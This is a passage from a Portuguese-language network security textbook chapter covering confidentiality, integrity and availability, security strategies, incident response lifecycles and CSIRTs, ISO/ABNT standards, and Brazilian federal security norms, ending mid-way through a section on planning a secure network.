11 Confidencialidade. 11 Integridade. 11 Disponibilidade. A Confidencialidade é um termo diretamente ligado à privacidade de um recurso. Um recurso deve estar acessível apenas para a pessoa ou grupo que foi definido como usuário autorizado para dispor daquele acesso, e nenhum outro. Por exemplo, as notas de um aluno devem ser acessadas somente pelo aluno, pelos professores das disciplinas cursadas por ele e pela equipe de registro acadêmico. O termo Integridade possui duas definições: a primeira relacionada com o fato da informação ter valor correto; por exemplo, no resultado da correção de uma prova, a nota obtida foi avaliada por um professor com conhecimento da disciplina, e portanto apto para julgar o conteúdo. A segunda definição está ligada à inviolabilidade da informação, ou seja, a nota não pode ser alterada sem justificativa e por meio controlado. A nota não pode “sumir” ou ser simplesmente alterada.

Capítulo 1 - Fundamentos de segurança

Incidente de segurança

3

O termo Disponibilidade está relacionado ao acesso à informação, que pode ser controlada ou não, e disponível quando necessária. Um ataque de negação de serviço pode, por exemplo, evitar o acesso à informação, afetando a disponibilidade.

É importante notar que a disponibilidade e a integridade podem ser medidas de forma simples, visto que elas são perceptíveis pelos usuários da informação. A confidencialidade, por outro lado, pode ser quebrada sem que se tenha conhecimento do fato, pois a simples visualização de uma informação por um usuário não autorizado não necessariamente altera essa informação. Daí a importância da auditoria, onde são analisados os registros de acesso de determinada informação, com o objetivo de verificar se houve acesso indevido. A auditoria será tratada no capítulo 8.

Observe, ainda, que existem três dimensões completamente distintas: duas delas, a confidencialidade e a integridade, são valores boolianos: ou a informação se manteve confidencial ou não; ou a informação se manteve íntegra ou não. A terceira é um número real entre 0 e 1, podendo ser calculada pela própria definição. Duas podem ser monitoradas e medidas: a integridade e a disponibilidade. Não temos como saber se um dado perdeu confidencialidade. Conceitos auxiliares:

q

11 Autenticidade. 11 Legalidade. 11 Não repúdio. 11 Privacidade. A literatura moderna inclui ainda mais alguns conceitos, que muitas vezes são considerados auxiliares aos três já listados. São eles: 11 Autenticidade: garantia de que uma informação, produto ou documento foi elaborado ou distribuído pelo autor a quem se atribui. 11 Legalidade: garantia de que ações sejam realizadas em conformidade com os preceitos legais vigentes e que seus produtos tenham validade jurídica. 11 Não repúdio: conceito muito utilizado quando tratamos de certificação digital, onde o emissor de uma mensagem não pode negar que a enviou. As tecnologias de certificação digital e assinatura digital são exemplos que propiciam essa condição. 11 Privacidade: conceito amplo, que expressa a habilidade de um indivíduo em controlar a exposição e a disponibilidade de informações acerca de si. Com o crescimento dos meca-

Segurança de Redes e Sistemas

nismos de busca, bancos de dados e informações publicadas na internet e redes sociais,

4

esse conceito tem sido muito discutido em fóruns específicos. Um exercício interessante que o aluno pode realizar é buscar o seu próprio nome no site de buscas do Google. É comum nos referirmos a esse conjunto de conceitos básicos como CID ou CIDAL, que corresponde às iniciais de alguns dos conceitos apresentados. A sigla DICA ainda é usada em referência aos quatro primeiros conceitos. Além dos conceitos apresentados acima, o livro Building Internet Firewalls, de Elizabeth D. Zwicky, Simon Cooper e D. Brent Chapman (editora O’Reilly), define ainda outros conceitos, denominados de estratégias de segurança.

11 Least Privilege (Menor Privilégio).

q

11 Defense in Depth (Defesa em Profundidade). 11 Choke Point (Ponto Único). 11 Default Deny & default Permit Stance (Atitude de Bloqueio Padrão e Permissão Padrão). 11 Universal Participation (Participação Universal). 11 Diversity of Defense (Diversidade de Defesa). 11 Inherent Weakness (Fraquezas Inerentes). 11 Common configuration(Configuração Comum). 11 Common Heritage (Herança Comum). 11 Weakest Link (Elo mais Fraco). 11 Fail Safe (Falha Segura). 11 Simplicity (Simplicidade). Esses conceitos são muito importantes, e o profissional de segurança deve sempre tê-los em mente no seu dia a dia: 11 Least Privilege (Menor Privilégio): cada objeto deve ter apenas os privilégios mínimos para executar suas tarefas, e nenhum outro. Apesar de muito importante, é difícil aplicar esse conceito, pois muitas vezes ele envolve uma série de ajustes e um mínimo erro pode fazer com que o recurso pare de funcionar. Como exemplo, podemos citar um servidor web. Executar o processo do servidor como o usuário administrador provavelmente fornecerá uma série de privilégios desnecessários a ele. Nesse caso, convém criar um usuário específico (ex: httpd) e definir as permissões mínimas para que o serviço funcione. Por exemplo: permissão de leitura na pasta onde ficam as páginas HTML e permissão de leitura e gravação na pasta onde ficam os registros de acesso. 11 Defense In Depth (Defesa em Profundidade): não depender de um único mecanismo de segurança, independente do quão forte ele possa parecer. Não existe nenhum mecanismo 100% seguro, então qualquer mecanismo pode ser subvertido. Colocar defesas redundantes pode ser uma boa estratégia, pois um atacante, ao passar por suas defesas mais externas, ainda terá outras camadas de defesa para ultrapassar antes de comprometer o sistema como um todo. 11 Choke Point (Ponto Único): canal estreito por onde os atacantes são forçados a passar, que pode ser monitorado e controlado. Exemplos: praça de pedágio em uma estrada, caixa de supermercado. Esse é o princípio utilizado pelos firewalls.

atitude geral em relação à segurança. Na primeira (mais segura), tudo é proibido e o que é permitido deve ser expressamente definido. Na segunda, tudo é permitido e o que é proibido deve ser definido. Em sistemas seguros, deve-se buscar sempre a primeira atitude (Default Deny), apesar de nem sempre ser possível. Para o caso do acesso à internet por um navegador, seria viável bloquear toda a internet e liberar apenas o que é permitido? 11 Universal Participation (Participação Universal): todos devem participar do processo de segurança. Uma única pessoa que não participa do processo pode comprometer todo o sistema. É importante lembrar que a segurança envolve pessoas, e que elas devem estar envolvidas, motivadas e participando do processo. 11 Diversity of Defense (Diversidade de Defesa): utilizar diferentes sistemas e formas de defesa, de modo que uma vulnerabilidade em um sistema pode não estar presente em outros.

Capítulo 1 - Fundamentos de segurança

11 Default Deny e Default Permit Stance (Atitude de Bloqueio Padrão e Permissão Padrão):

Um certo cuidado deve ser tomado para não recair em um dos problemas listados a seguir. 5

11 Inherent Weaknesses (Fraquezas Inerentes): sistemas de um mesmo tipo podem sofrer da mesma fraqueza inerente a esse tipo de sistema. Exemplos: falha de conceito ou falha de um protocolo com implementação comum. 11 Common Configuration (Configuração Comum): sistemas diferentes configurados por uma mesma pessoa ou grupo podem sofrer de problemas semelhantes de configuração. 11 Common Heritage (Herança Comum): sistemas de fabricantes diferentes podem usar componentes comuns e consequentemente terem as mesmas falhas. 11 Weakest Link (Elo Mais Fraco): corresponde ao ponto mais fraco das suas defesas. As suas defesas são tão fortes quanto o ponto mais fraco. Este deve ser eliminado quando possível, ou ser forte o suficiente para desencorajar ataques. Muitos atacantes vão procurar o ponto mais fraco da sua rede, tentando atacar a rede a partir dele. Pontos fracos da rede devem ser constantemente monitorados quando não puderem ser eliminados. 11 Fail Safe (Falha Segura): os sistemas, em caso de falha, devem sempre fazê-lo de modo a inibir qualquer tipo de acesso. O prejuízo da falta de acesso é preferível ao acesso liberado de forma irrestrita em caso de falha. 11 Simplicity (Simplicidade): manter o ambiente simples. A complexidade esconde potenciais problemas de segurança. Interfaces gráficas, gerenciadores centralizados e sistemas com configurações simples são alguns exemplos desse princípio. Porém, deve-se tomar cuidado com o excesso de simplicidade. Um simples botão na ferramenta com os dizeres “torne meu sistema seguro” pode não ser adequado. Os sistemas devem ter um mínimo de parametrização, pois cada ambiente possui suas peculiaridades.

Exercício de fixação 1 e Conceitos Explique com suas palavras o que é Defesa em Profundidade e como ela pode ser aplicada em sua organização.

O que é o Elo mais Fraco? Dê um exemplo na sua organização.

Processo de Tratamento de Resposta a Incidentes Segurança de Redes e Sistemas

De acordo com o Cert.br, um incidente de segurança pode ser definido como qualquer

6

evento adverso, confirmado ou sob suspeita, relacionado à segurança de sistemas de computação ou de redes de computadores. Em geral, toda situação na qual uma entidade de informação corre riscos pode ser considerada um incidente de segurança. No entanto, cada organização deve definir o que, em relação aos seus sistemas, para ela pode vir a ser um incidente de segurança. Em alguns casos, organizações podem classificar como incidentes de segurança qualquer ato que possa não estar em conformidade com a política de segurança adotada pela instituição.

Todo incidente ocorrido na organização deve ser tratado de acordo com uma metodologia definida previamente. Assim, para atender ao processo de resposta a incidentes de segurança a organização deve elaborar uma metodologia visando gerenciar consequências de uma quebra de segurança. Seu principal objetivo é minimizar o impacto causado por um incidente e possibilitar o restabelecimento dos serviços no mais curto espaço de tempo possível. O fenômeno de ataques na internet não é um fato novo: no fim da década de 80 o incidente conhecido como “Internet Worm” resultou em um incidente que paralisou centenas de sistemas na internet. Após esse problema, alguns grupos se reuniram para discutir os rumos da segurança na internet. Essa reunião resultou, mais tarde, na criação do CERT Coordination Center (Center of Emergency Response Team). Um Centro de Resposta a Incidentes, o CERT foi uma das primeiras organizações do tipo CSIRT (Computer Security Incident Response Team). Com o crescimento da internet, em meados de 1996, esses ataques provocam prejuízos que vão desde a perda de milhares de dólares até o que ocorreu há alguns anos na Europa, onde de acordo com a agência de notícias Reuters, a internet em um país parou de funcionar após ataques. Conforme informado pela IFCC (Internet Fraud Complaint Center ), uma parceria entre o FBI e o Centro Nacional de Crimes do Colarinho Branco dos Estados Unidos, entre maio de 2000 e maio de 2001, em seu primeiro ano de funcionamento, foram registrados 30.503 casos de fraudes na internet, registros colhidos apenas no site da IFCC. Segundo o Cert.br, um CSIRT, ou Grupo de Resposta a Incidentes de Segurança, é uma organização responsável por receber, analisar e responder a notificações e atividades relacionadas a incidentes de segurança em computadores. Normalmente, um grupo de resposta a incidentes pode ser um grupo dentro da própria instituição trabalhando exclusivamente para a resposta a incidentes dos serviços prestados pela empresa ou pode trabalhar na forma de comunidade, auxiliando várias instituições e produzindo estatísticas e relatórios que beneficiam todo um grupo ou mesmo um país (Cert.br 2007). Um CSIRT pode agir de várias maneiras dentro da empresa, de acordo com a importância de seus serviços. Um grupo pode estar ligado diretamente à alta administração da empresa, de maneira que possa intervir e alterar os processos da instituição, mas também pode agir apenas como orientador de processos, não estando diretamente envolvido com a tomada de decisões de segurança (CSIRT Handbook 2003). Ataques a sistemas computacionais visam comprometer os requisitos de segurança de uma organização. Esses ataques têm dois tipos de perfil: ativo, onde o atacante faz alguma ação para obter o resultado esperado, e passivo, onde o atacante utiliza-se de ferramentas para obter os dados referentes ao alvo. De acordo com o Cert.br, um CSIRT pode exercer recursos críticos de uma organização. Não existe um conjunto padronizado de funções ou serviços providos por um CSIRT. Cada time escolhe seus serviços com base nas necessidades da sua organização e da comunidade a quem ele atende.

Ciclo de vida de um incidente 11 Estágio 1 – Preparação dos Processos. 11 Estágio 2 – Gerenciamento de riscos. 11 Estágio 3 – Triagem. 11 Estágio 4 – Resposta a incidentes.

q

Capítulo 1 - Fundamentos de segurança

tanto funções reativas quanto funções proativas para auxiliar na proteção e segurança dos

7

A segurança de uma organização sempre estará sujeita a incidentes, como todas as outras áreas. Os fatores são os mais diversos, desde ameaças não intencionais causadas por usuários comuns até ameaças técnicas organizadas. Para uma organização é de vital importância que os incidentes sejam tratados corretamente, e para isso se faz necessário entender como funciona o ciclo de vida de um incidente. De acordo com o Instituto de Engenharia de Software da Carnegie Mellon University, responsável pelo Cert.org, podemos classificar o ciclo de vida de um incidente em quatro estágios (CSIRT Handbook 2003), conforme veremos a seguir.

Estágio 1 – Preparação dos processos O início do ciclo de vida de um incidente começa antes do próprio incidente. É necessária a elaboração de processos e procedimentos para a correta ação empregada contra ameaças e vulnerabilidades possíveis à organização. É importante que todos os processos empregados sejam testados e aperfeiçoados. Esses processos têm por finalidade o correto emprego dos recursos para a resposta a incidentes.

Estágio 2 – Gerenciamento de riscos Por meio de ações corretivas e preventivas de ameaças existentes, pois estas são um fator intrínseco dentro de uma organização. O gerenciamento de riscos é muito importante e deve ser um processo contínuo dentro de uma organização, desenvolvendo medidas de segurança e calculando seu impacto para cada uma das etapas de um ciclo de incidentes.

Estágio 3 – Triagem O método de recepção de todo e qualquer indício de incidente é de suma importância, pois é com uma correta triagem da informação que se inicia todo o processo de catalogação e resposta ao incidente. Os grupos de resposta a incidentes comumente informam apenas um meio de contato ou “hotline”, seja para um grupo de resposta de âmbito nacional, privado ou mesmo dentro da organização. Essa triagem é importante para a aplicação correta do controle de segurança da informação impactado pelo incidente. Normalmente, esse controle também é atribuído a um gerente de incidente, profissional especializado no problema que estará à frente do incidente até a sua resolução.

Estágio 4 – Resposta a incidentes Quando um incidente já passou pela triagem, ele é submetido ao plano de resposta a incidentes da organização. Nesse ponto, atividades anômalas são facilmente detectadas e a adoção de medidas apropriadas pode rapidamente identificar sistemas afetados, dimensionando o montante do prejuízo.

Segurança de Redes e Sistemas

Grupos de resposta a incidentes

8

Prevenção: 11 Auditoria de segurança. 11 Treinamento e orientação a usuários. 11 Disseminação de informação relacionada à segurança. 11 Monitoração de novas tecnologias.

q

Resposta:

q

11 Tratamento de incidentes. 11 Tratamento de vulnerabilidades. 11 Qualidade de serviços de segurança. 11 Consultoria em segurança. 11 Análise de riscos. 11 Planejamento e recuperação de desastres. O maior desafio para os profissionais de segurança dos dias atuais é a gestão de uma complexa infraestrutura de comunicação de dados da internet, seu gerenciamento e manutenção. Na maioria das organizações, as equipes de profissionais em rede não contam com pessoal em quantidade suficiente para atender à demanda crescente de otimização de sistemas, atualização incessante de programas para minimizar riscos e defender-se contra ataques dos mais variados tipos. Esse cenário se torna pior à medida que surgem novas ferramentas de ataques, malwares, toolkits e a crescente organização de grupos que visam à paralisação e o roubo de dados na rede mundial de computadores.Nesse contexto, e para atender à necessidade de resposta a incidentes, surgem os grupos de resposta a incidentes, cujo objetivo é responder de maneira rápida e efetiva a essas ameaças. Esse grupo tem como objetivo desenvolver meios para identificar, analisar e responder a incidentes que venham a ocorrer, minimizando prejuízos e reduzindo seus custos de recuperação. Os grupos de resposta a incidentes geralmente trabalham em duas frentes, prevenção e resposta.

Prevenção Caracterizam-se como serviços proativos os serviços onde o grupo procura se antecipar aos problemas de maneira a preveni-los, gerando uma base de conhecimento para futura pesquisa. Dentre as principais atividades de prevenção destacam-se a auditoria de segurança e o treinamento e orientação a usuários. Auditoria de segurança A auditoria de segurança dentro de uma empresa visa submeter seus ativos a uma análise de segurança com base nos requisitos definidos pela organização ou por normas internacionais. Também pode implicar na revisão das práticas organizacionais da empresa bem como testes em toda a sua infraestrutura. Nos dois últimos módulos deste treinamento, será abordado o processo de hardening para servidores Linux e Windows. Uma vez aprovado um processo de hardening, este pode ser utilizado para auditar a segurança de um ambiente, já

Treinamento e orientação a usuários Uma das funções de um CSIRT também é a promoção de palestras e workshops sobre segurança dentro de uma organização. Essas palestras têm o intuito de informar aos usuários as políticas de seguranças vigentes e como se proteger de vários ataques, principalmente de engenharia reversa. Disseminação de informação relacionada à segurança A disseminação de informação é primordial para o sucesso de um grupo de resposta a incidentes. Essa disseminação pode ocorrer tanto dentro da organização, através de documentos e boletins internos, como com a confecção de artigos para distribuição para outros

Capítulo 1 - Fundamentos de segurança

que nesse documento encontra-se a configuração mínima recomendada para um ativo.

órgãos externos à empresa. 9

Monitoração de novas tecnologias Um Grupo de Resposta a Incidentes monitora novos desenvolvimentos técnicos de ataques para ajudar a identificar novas tendências de futuras ameaças. Esse serviço envolve a leitura de fóruns e listas de discussão, sites e revistas especializadas.

Resposta Os serviços reativos englobam atividades que são realizadas após algum evento ou requisição dentro da organização. Baseiam-se em análises de logs e produção de relatórios em função de alguma detecção de atividade maliciosa. Dentre as principais atividades de resposta a incidentes, podemos destacar as seguintes. Tratamento de incidentes Segundo Chuvakin e Peikari, autores do livro Security Warrior, uma reposta a incidente é um processo de identificação, contenção, erradicação e recuperação de um incidente de computador, realizado pelo time de segurança responsável. O tratamento de incidentes é a principal atividade de um time de resposta a incidentes. São os incidentes que vão gerar todo o processo de identificação, classificação e tomada de decisão sobre quais procedimentos tomar para sanar o problema, quantas vezes o problema foi constatado dentro de um período, qual o impacto causado pelo incidente e se este obteve ou não sucesso. Tratamento de vulnerabilidades O tratamento de vulnerabilidades visa submeter os sistemas a uma auditoria a fim de saber quais suas fraquezas e como preveni-las através de mitigação de alguns serviços. Essa metodologia está diretamente ligada à criação do plano de continuidade de negócios dentro de uma organização, pois, através das avaliações feitas, é possível fazer uma análise de risco e impacto para as vulnerabilidades encontradas. Qualidade de serviços de segurança A qualidade dos serviços de segurança proporciona aumento na experiência adquirida na prestação de serviços proativos e reativos descritos acima. Esses serviços são concebidos para incorporar os feedbacks e as lições aprendidas com base no conhecimento adquirido por responder a incidentes, vulnerabilidades e ataques. Parte de um processo de gestão da qualidade da segurança pode melhorar a segurança a longo prazo, gerando base dados de incidentes e suas propostas para solução. Consultoria em segurança Um CSIRT pode ser utilizado para fornecer aconselhamento sobre as melhores práticas de

Segurança de Redes e Sistemas

segurança, principalmente dentro de um ambiente militar. Esse serviço pode ser utilizado na

10

preparação de recomendações ou identificando requisitos para a aquisição, instalação ou obtenção de novos sistemas, dispositivos de rede, aplicações de software ou criação de processos. Esse serviço inclui proporcionar orientação e ajuda no desenvolvimento organizacional ou no círculo de políticas de segurança. Ele pode também envolver o aconselhamento às normas legais legislativas ou de outros órgãos governamentais.

Análise de riscos Um Grupo de Resposta a Incidentes pode ser capaz de acrescentar valor à análise de risco e avaliações. Isso pode melhorar a capacidade da organização para avaliar ameaças reais, fornecer avaliações qualitativas e quantitativas dos riscos para os ativos da organização e avaliar estratégias para melhor defesa. Planejamento e recuperação de desastres Com base em ocorrências anteriores e futuras previsões de tendências emergentes de incidentes de segurança, pode-se afirmar que quanto mais os sistemas de informação evoluem, mais aumenta a chance de acontecer um incidente. Por isso, o planejamento deve considerar os esforços e experiências passadas de um CSIRT. Recomendações para determinar a melhor forma de responder a esses incidentes para garantir a continuidade das operações comerciais devem ser uma prioridade para a organização. Grupos realizando esse serviço estão envolvidos em continuidade de negócios e recuperação de desastres, planejamento de eventos relacionados com a segurança informática e ameaças ataques. Fonte: CAIS RNP

Exercício de fixação 2 e Processo de tratamento de incidentes Explique os estágios do ciclo de vida de um incidente.

Exercício de fixação 3 e Grupo de resposta a incidentes O que é prevenção e como ela é feita na sua organização?

Normas ISO/ABNT Histórico: BSI e ISO

q

11 ABNT NBR ISO/IEC 27002:2005 (código de prática). 11 ABNT NBR ISO/IEC 27005:2008 (gestão de riscos). 11 ABNT NBR ISO/IEC 27011:2009 (telecomunicações). Um dos primeiros documentos criados para fins de normatização em meios computacionais foi o Security Control for Computers Systems, publicado em 11 de fevereiro de 1970 pela RAND Corporation, uma empresa norte-americana sem fins lucrativos especializada em assessoria de investigação e análise, fundada em 1948, marcou o início da criação de um conjunto

Capítulo 1 - Fundamentos de segurança

11 ABNT NBR ISO/IEC 27001:2006 (SGSI) – passível de certificação.

11

de regras para a segurança de computadores. Mais tarde, o DoD (Departamento de Defesa dos Estados Unidos) publicou o Orange Book, conhecido também como Trusted Computer Evalution Criteria. Publicado inicialmente em 1978, em forma de um rascunho, foi finalizado em 1985. O Orange Book, mesmo sendo um documento já ultrapassado, marcou o início da busca por um conjunto de regras para a avaliação de um ambiente computacional seguro. Em 1987, o DTI (Departamento de Comércio e Indústria do Reino Unido) criou um centro de segurança de informações, que, entre suas atribuições, estava a de criar uma norma de segurança das informações do Reino Unido. Até 1988, vários documentos foram publicados. Em 1995, esse centro, denominado Commercial Computer Security Centre (CCSC), juntamente com o grupo britânico BSI, lança o BS7799:1995, Gestão de Segurança da Informação. Código de prática para sistemas de informação de gestão de segurança, essa norma é divida em duas partes: uma homologada em 2000 e, a outra, em 2002. É a base para a gestão de segurança da informação usada por entidades de metodologia de gestão da segurança da informação focada nos princípios básicos da segurança: Confidencialidade, Integridade e Disponibilidade. Em dezembro de 2000, a ISO (International Organization of Standadization ) internacionalizou a norma BS17799, criando a ISO/IEC 17799:2000, uma norma abrangente e internacional voltada para a gestão de segurança da informação. O objetivo dessa norma era criar um conjunto de regras para assegurar a continuidade do negócio e minimizar prejuízos empresariais, reduzindo o impacto causado por incidentes de segurança. As normas da ISO baseadas em segurança da informação foram atualizadas e agrupadas na família de numeração 27000. A ABNT (Associação Brasileira de Normas Técnicas ) publicou uma série de normas baseadas na ISO, traduzidas para o português. 11 ABNT NBR ISO/IEC 27001:2006 – Tecnologia da Informação – Técnicas de segurança – Sistema de gestão da segurança da informação – Requisitos. Versão atual da BS7799 parte 2. Essa norma especifica os requisitos para estabelecer, implementar, operar, monitorar, analisar criticamente, manter e melhorar um Sistema de Gestão da Segurança da Informação (SGSI) documentado dentro do contexto dos riscos de negócio globais da organização. Essa norma especifica requisitos para implementar os controles de segurança personalizados para as necessidades individuais de organizações ou suas partes. 11 ABNT NBR ISO/IEC 27002:2005 – Tecnologia da Informação – Técnicas de segurança – Código de prática para a gestão de segurança da informação. Versão atual da ISO/IEC 17799. Essa norma estabelece diretrizes e princípios gerais para iniciar, implementar, manter e melhorar a gestão de segurança da informação em uma organização. Os objetivos definidos nessa norma proveem diretrizes gerais sobre as metas geralmente aceitas para a gestão de segurança da informação.

Segurança de Redes e Sistemas

11 ABNT NBR ISO/IEC 27003:2010 – Tecnologia da Informação – Técnicas de segurança –

12

Diretrizes para implantação de um sistema de gestão da segurança da informação. Essa norma foca os aspectos críticos necessários para a implantação e o projeto bem-sucedido de um Sistema de Gestão da Segurança da Informação (SGSI), de acordo com a norma ABNT NBR ISO/IEC 27001:2006. A norma descreve o processo de especificação e projeto do SGSI desde a sua concepção até a elaboração dos planos de implantação. Ela descreve o processo de obtenção de aprovação da direção para implementar um SGSI e fornece diretrizes sobre como planejar o projeto do SGSI.

11 ABNT NBR ISO/IEC 27005:2008 – Tecnologia da Informação – Técnicas de segurança – Gestão de riscos de segurança da informação. Essa norma fornece diretrizes para o processo de gestão de riscos e segurança da informação. Norma criada para apoiar o entendimento das especificações e conceitos estabelecidos pela norma ABNT NBR ISO/IEC 27001:2006. Para aqueles que desejarem mais informação sobre esse assunto, logo abaixo são listadas as principais normas sobre segurança da informação: 11 ISO/IEC 27000: Information security management systems – Overview and vocabulary. 11 ISO/IEC 27003: Information security management system implementation guidance. 11 ISO/IEC 27004: Information security management measurements. 11 ISO/IEC 27006: Requirements for bodies providing audit and certification of information security management systems. 11 ISO/IEC 9797-1: Message Authentication Codes (MACs) – Part 1: Mechanisms using a block cipher. 11 ISO/IEC 9798-1: Entity authentication – Part 1: General. 11 ISO/IEC 9979: Procedures for the registration of cryptographic algorithms. 11 ISO/IEC 10118-1: Hashfunctions – Part 1: General. 11 ISO/IEC 11770-1: Key management – Part 1: Framework. 11 ISO/IEC 15846-1: Cryptographic techniques based on elliptic curves – Part 1: General. 11 ISO/IEC 18033-3: Encryption algorithms – Part 3: Block ciphers. 11 ISO/IEC 15408-1: Evaluation criteria for IT security – Part 1: Introduction and general model. 11 ISO/IEC 15408-2: Evaluation criteria for IT security – Part 2: Security functional. 11 ISO/IEC 15408-3: Evaluation criteria for IT security – Part 3: Security assurance. 11 ISO/IEC 15443-1: A framework for IT Security assurance – Part 1: Overview and framework. 11 ISO/IEC 15443-2: A framework for IT Security assurance – Part 2: Assurance Methods. 11 ISO/IEC 15443-3: A framework for IT Security assurance – Part 2: Analysis of Assurance Methods. 11 ISO/IEC 18045: A framework for IT Security assurance – Methodology for IT Security Evaluation. 11 ISO/IEC 18043: Selection, deployment and operations of intrusion detection systems. 11 ISO/IEC 18044: Information security incident management. 11 ISO/IEC 24762: Guidelines for information and communications technology disaster recovery services. 11 ISO/IEC 27033-1: Network Security – Part 1: Guidelines for network security.

11 ISO/IEC 24760: A framework for identity management. 11 ISO/IEC 29100: A privacy framework. 11 ISO/IEC 29101: A privacy reference architecture. 11 ISO/IEC 29115: Entity authentication assurance.

Políticas de segurança A Política de Segurança da Informação e Comunicações (POSIC) é o documento mais importante de uma organização quando se trata de Segurança da Informação. Nela estão todas as diretrizes, recomendações e deveres de todos. O profissional de segurança deve conhecer

Capítulo 1 - Fundamentos de segurança

11 ISO/IEC 27034-1: Guidelines for Application Security – Part 1: Overview and Concepts.

bem a política de segurança da sua instituição e deve balizar todo o trabalho em cima dela. 13

Outras políticas associadas à POSIC tratam de assuntos mais específicos, como por exemplo:

q

11 Política de Uso Aceitável (PUA).

w

11 Política de Controle de Acesso (PCA). 11 Plano de Continuidade de Negócio (PCN). 11 Política de senhas.Política de Salvaguarda (backup). Esse assunto não faz parte diretamente do escopo deste curso, porém é importante conhecer todas as políticas e legislações do órgão em que se está implantando uma solução de segurança, pois elas podem impactar diretamente no que pode ou não ser feito, nas punições para o descumprimento da política e nos responsáveis pelas informações e recursos computacionais. A norma ABNT NBR ISO/IEC 27001 possui um capítulo inteiramente dedicado às políticas de segurança. No âmbito do Governo Federal, o Gabinete de Segurança Institucional (GSI) da Presidência da República, através do Departamento de Segurança da Informação e Comunicações, publicou uma série de instruções normativas com o objetivo de orientar a administração pública em diversas questões da Segurança da Informação. Normas DSIC/GSIPR:

q

11 Norma Complementar nº 01/IN01/DSIC/GSIPR: Atividade de Normatização. 11 Norma Complementar nº 02/IN01/DSIC/GSIPR: Metodologia de Gestão de Segurança da Informação e Comunicações. 11 Norma Complementar nº 03/IN01/DSIC/GSIPR: Diretrizes para a Elaboração de Política de Segurança da Informação e Comunicações nos Órgãos e Entidades da Administração Pública Federal. 11 Norma Complementar nº 04/IN01/DSIC/GSIPR e seu anexo, Diretrizes para o Processo de Gestão de Riscos de Segurança da Informação e Comunicações (GRSIC) nos órgãos e entidades da Administração Pública Federal. 11 Norma Complementar nº 05/IN01/DSIC/GSIPR e seu anexo, Disciplina e Criação de Equipes de Tratamento e Respostas a Incidentes em Redes Computacionais (ETIR) nos órgãos e entidades da Administração Pública Federal. 11 Norma Complementar nº 06/IN01/DSIC/GSIPR: Diretrizes para a Gestão de Continuidade de Negócios, nos aspectos relacionados à Segurança da Informação e Comunicações, nos órgãos e entidades da Administração Pública Federal, direta e indireta (APF). Em especial foi publicada a Instrução Normativa IN01-GSI/PR, que define orientações para a Gestão de Segurança da Informação e Comunicações na Administração Pública Federal, e algumas Normas Complementares:

Segurança de Redes e Sistemas

11 Norma Complementar nº 01/IN01/DSIC/GSIPR: atividade de normatização, que tem

14

como objetivo estabelecer critérios e procedimentos para a elaboração, atualização, alteração, aprovação e publicação de normas complementares sobre gestão de segurança da informação e comunicações, no âmbito da Administração Pública Federal. 11 Norma Complementar nº 02/IN01/DSIC/GSIPR: metodologia de Gestão de Segurança da Informação e Comunicações utilizada pelos órgãos e entidades da Administração Pública Federal.

Para aqueles que desejarem continuar seus estudos em políticas de segurança, visto que não é o objetivo principal deste curso, o instituto SANS (sans.org) oferece um modelo padrão de política de segurança que poderá ser adaptado e utilizado em qualquer ambiente computacional.

11 Norma Complementar nº 03/IN01/DSIC/GSIPR: estabelece diretrizes, critérios e procedimentos para a elaboração, institucionalização, divulgação e atualização da Política de Segurança da Informação e Comunicações (POSIC) nos órgãos e entidades da Administração Pública Federal. 11 Norma Complementar nº 04/IN01/DSIC/GSIPR: estabelece diretrizes para o processo de Gestão de Riscos de Segurança da Informação e Comunicações (GRSIC) considerando prioritariamente os objetivos estratégicos, os processos e requisitos legais e a estrutura dos órgãos ou entidades da Administração Pública Federal. 11 Norma Complementar nº 06/IN01/DSIC/GSIPR: estabelece diretrizes para Gestão da Continuidade de Negócios, nos aspectos relacionados à Segurança da Informação e Comunicações, nos órgãos e entidades da Administração Pública Federal. 11 Norma Complementar nº 07/IN01/DSIC/GSIPR: estabelece diretrizes para implementação de controles de acesso relativos à Segurança da Informação e Comunicações, abrangendo a criação de contas de usuários, rede corporativa de computadores e ativos de informação. Essa norma contempla inclusive um anexo com um modelo de termo de responsabilidade a ser utilizado pelos utilizadores dos meios computacionais da entidade. 11 Norma Complementar nº 08/IN01/DSIC/GSIPR: disciplina o gerenciamento de Incidentes de Segurança em Redes de Computadores realizado pelas equipes de Tratamento e Resposta a Incidentes de Segurança em Redes Computacionais (ETIR) nos órgãos e entidades da APF (Administração Pública Federal). 11 Norma Complementar nº 09/IN01/DSIC/GSIPR: estabelece orientações para o uso de recursos criptográficos como ferramenta de controle de acesso em Segurança da Informação e Comunicações, nos órgãos ou entidades da Administração Pública Federal, informando principalmente as responsabilidades tanto dos gestores de Segurança da Informação quanto do agente público que utilize esse recurso.

para empresas privadas ou outras entidades, as normas podem servir como um bom w Mesmo embasamento para a criação da política de segurança, do grupo de resposta a incidentes de segurança ou do processo de gestão de riscos. Para a comodidade do aluno, o item 6 consta a NC 03, que trata de diretrizes para a elaboração de uma política de segurança (POSIC). É possível encontrar na web diversas políticas de segurança completas publicadas por órgãos públicos brasileiros. Um exemplo seria a Portaria/Incra/P/N° 70, de 29/03/2006 (DOU nº 62, de 30 de março de 2006).

Exercício de fixação 4 e Políticas de segurança O que é política de segurança? Ela existe na sua organização?

Capítulo 1 - Fundamentos de segurança

As normas do DSIC/ GSIPR são públicas e podem ser obtidas no site do DSIC: http://dsic.planalto.gov.br/

15

Planejando uma rede segura 11 Visão geral.

q

11 Execução em etapas. 11 Documento de planejamento: 22 Prazos. 22 Validação e aprovação. 11 Execução. A etapa de planejamento é talvez a mais importante na construção de um ambiente de rede seguro ou na adição de segurança a um ambiente existente. Nessa etapa o profissional vai obter uma visão geral do que está sendo pretendido, além de dividir a execução em etapas bem definidas. Recomenda-se que seja elaborado um documento com a descrição de tudo o que será executado, incluindo prazos, de modo que esse documento seja validado e aprovado antes de se iniciar a etapa de execução. No planejamento, deve ser definida uma série de questões, como por exemplo: 11 Topologia da rede em questão. 11 Servidores e serviços públicos na internet. 11 Servidores e serviços na intranet. 11 Interligação com outras instituições e redes, como extranet. 11 Acesso remoto. 11 Tecnologias de segurança. 11 Mecanismos de proteção da rede. 11 Salvaguarda de informações. O ISECOM (Institute for Security and Open Methodologies), Instituto para Segurança e Metodologias Abertas, é uma comunidade colaborativa sem fins lucrativos que desde 2001 dedica-se a fornecer práticas de conscientização, pesquisa e certificação open source na área de segurança de redes. É responsável pela publicação do OSSTMM (Open Source Security Testing Methodology Manual), Manual de Código Aberto Sobre Metodologias de Testes de Segurança. Nesse manual são abordados todos os aspectos a serem levados em consideração para a execução de um teste de segurança em um sistema computacional. São abordados temas importantes, como métricas de segurança, metodologias para melhorar a segurança física de redes, 